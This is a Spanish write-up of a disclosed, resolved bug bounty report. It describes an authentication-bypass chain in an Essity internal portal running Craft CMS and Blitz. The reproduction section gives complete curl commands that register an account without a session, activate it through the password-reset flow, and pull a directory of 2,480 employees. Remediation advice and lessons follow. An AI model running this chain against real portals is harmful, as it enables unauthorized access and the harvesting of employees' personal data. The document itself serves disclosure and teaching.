Resumen
Un portal interno de Essity, pensado solo para empleados y partners autorizados y protegido en teoría por SSO con SAML, encadenaba varios fallos que permitían a cualquier persona sin autenticar llegar hasta una API que exponía un directorio de 2.480 empleados.
El portal está construido sobre Craft CMS (con el plugin Blitz). La cadena aprovechaba que tres acciones sensibles estaban accesibles sin sesión: el registro de usuarios, el envío de correo de reseteo de contraseña y el establecimiento de la nueva contraseña. Combinándolas, un atacante podía crearse una cuenta, activarla sin pasar por la verificación por email y usarla para consultar endpoints protegidos.
El reporte lo clasifica como Authentication Bypass by Primary Weakness con severidad media. Se envió el 15 de mayo de 2026 y se divulgó el 27 de mayo de 2026, en estado resuelto.
Pasos de reproducción
1. Obtener un token CSRF y registrar la cuenta
El endpoint de Blitz que entrega tokens CSRF era accesible sin autenticación, y con ese token el endpoint de registro creaba una cuenta nueva con datos arbitrarios:
# Token CSRF desde el endpoint de Blitz, accesible sin autenticar
CSRF=$(curl -sk https://[REDACTADO]/actions/blitz/csrf/json)
TOKEN=$(echo "$CSRF" | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
# Alta de un usuario arbitrario
curl -sk -X POST 'https://[REDACTADO]/actions/[REDACTADO]' \
-H 'Accept: application/json' \
-H 'X-Requested-With: XMLHttpRequest' \
--data-urlencode "CRAFT_CSRF_TOKEN=${TOKEN}" \
--data-urlencode 'email=[REDACTADO]' \
--data-urlencode 'password=[REDACTADO]' \
--data-urlencode 'firstName=Test' \
--data-urlencode 'lastName=User'
Respuesta: {"success":true,"id":[REDACTADO]}. La cuenta queda en estado pending (pendiente de verificación por email).
2. Pedir el reseteo de contraseña de la cuenta pendiente
El endpoint que envía el correo de reseteo no comprobaba que la cuenta estuviera verificada, así que enviaba el correo igualmente a una cuenta en estado pending:
curl -sk -X POST 'https://[REDACTADO]/actions/users/send-password-reset-email' \
-H 'Accept: application/json' \
-H 'X-Requested-With: XMLHttpRequest' \
--data-urlencode "CRAFT_CSRF_TOKEN=${TOKEN}" \
--data-urlencode 'loginName=[REDACTADO]'
Respuesta: {"success":true}.
3. Activar la cuenta con el código del correo
El correo de reseteo incluía un código. Al establecer la nueva contraseña con ese código, la cuenta pasaba de pending a active, sin haber pasado nunca por la verificación por email:
curl -sk -X POST 'https://[REDACTADO]/actions/users/set-password' \
-H 'Accept: application/json' \
-H 'X-Requested-With: XMLHttpRequest' \
--data-urlencode "CRAFT_CSRF_TOKEN=${TOKEN}" \
--data-urlencode 'code=[REDACTADO]' \
--data-urlencode 'id=[REDACTADO]' \
--data-urlencode 'newPassword=[REDACTADO]' \
--data-urlencode 'confirmPassword=[REDACTADO]'
Respuesta: {"success":true,"status":"active"}.
4. Iniciar sesión
curl -sk -X POST 'https://[REDACTADO]/actions/users/login' \
-H 'Accept: application/json' \
-H 'X-Requested-With: XMLHttpRequest' \
--data-urlencode "CRAFT_CSRF_TOKEN=${TOKEN}" \
--data-urlencode 'loginName=[REDACTADO]' \
--data-urlencode 'password=[REDACTADO]'
Respuesta: {"success":true,"returnUrl":"https://[REDACTADO]/"} y una cookie de sesión válida (la sesión mostraba isGuest: false).
5. Leer los datos de empleados
Con la cookie de sesión, el endpoint /api/people-finder.json devolvía el directorio completo sin comprobar si la cuenta estaba aprobada:
curl -sk -b <cookie_de_sesion> 'https://[REDACTADO]/api/people-finder.json'
Respuesta: un JSON de unos 562 KB con 2.480 registros de empleados (identificadores, nombres completos, direcciones de correo corporativas, URLs de ficha y, donde constaban, puestos de trabajo).
El punto clave es que el portal exige aprobación de un administrador para el acceso completo, pero esa barrera solo se aplicaba a las vistas del portal: las APIs autenticadas respondían a cualquier cuenta con sesión, aunque no estuviera aprobada.
Impacto
- Fuga de datos personales: exposición de 2.480 registros de empleados (nombres, correos corporativos y URLs de ficha), base ideal para campañas de spear phishing dirigido.
- Salto del control de acceso: el requisito de SSO con SAML quedaba anulado al registrarse directamente contra la API.
- Salto de la verificación por email: el flujo de reseteo de contraseña activaba cuentas sin confirmar la dirección de correo.
- Acceso a gestión de colecciones: con la misma sesión se alcanzaba también
/asset-library/manage-collections(gestión de activos de marca).
Remediación
El reporte propone, entre otras medidas:
- Deshabilitar el registro público de usuarios o restringirlo a dominios de correo en lista blanca.
- No enviar correos de reseteo de contraseña a cuentas sin verificar (comprobar el estado pending en Craft CMS antes de enviarlo).
- Aplicar la barrera de aprobación de administrador a todos los endpoints autenticados, no solo a las vistas del portal; en concreto,
/api/people-finder.jsondebía comprobar los permisos de grupo. - Restringir o limitar por tasa el endpoint CSRF de Blitz.
- Añadir CAPTCHA al registro y al reseteo de contraseña.
- Auditar todas las APIs en busca de comprobaciones de autorización ausentes para cuentas no aprobadas.
Qué aprender de este caso
- En Craft CMS, revisa las acciones públicas
users/send-password-reset-emailyusers/set-password: si el reseteo se acepta sobre cuentas en estado pending, se convierte en una vía de activación que elimina la verificación por email. La comprobación del estado de la cuenta debe hacerse antes de enviar el correo. - No confíes en que un "muro de aprobación" en las vistas del portal proteja los datos: aquí las vistas pedían aprobación de administrador, pero las APIs JSON (
/api/people-finder.json) no. Comprueba la autorización en cada endpoint que devuelve datos, no solo en las páginas. - Un endpoint que reparte tokens CSRF sin autenticar (como el de Blitz) elimina de hecho la protección CSRF frente a un atacante: si no puede quitarse del acceso público, al menos conviene limitarlo por tasa y acompañarlo de CAPTCHA en registro y reseteo.
- Cuando el acceso real depende de SSO/SAML, verifica que no existan rutas de registro o login locales en paralelo (
/actions/users/login, el endpoint de alta): basta una para saltarse por completo el SSO.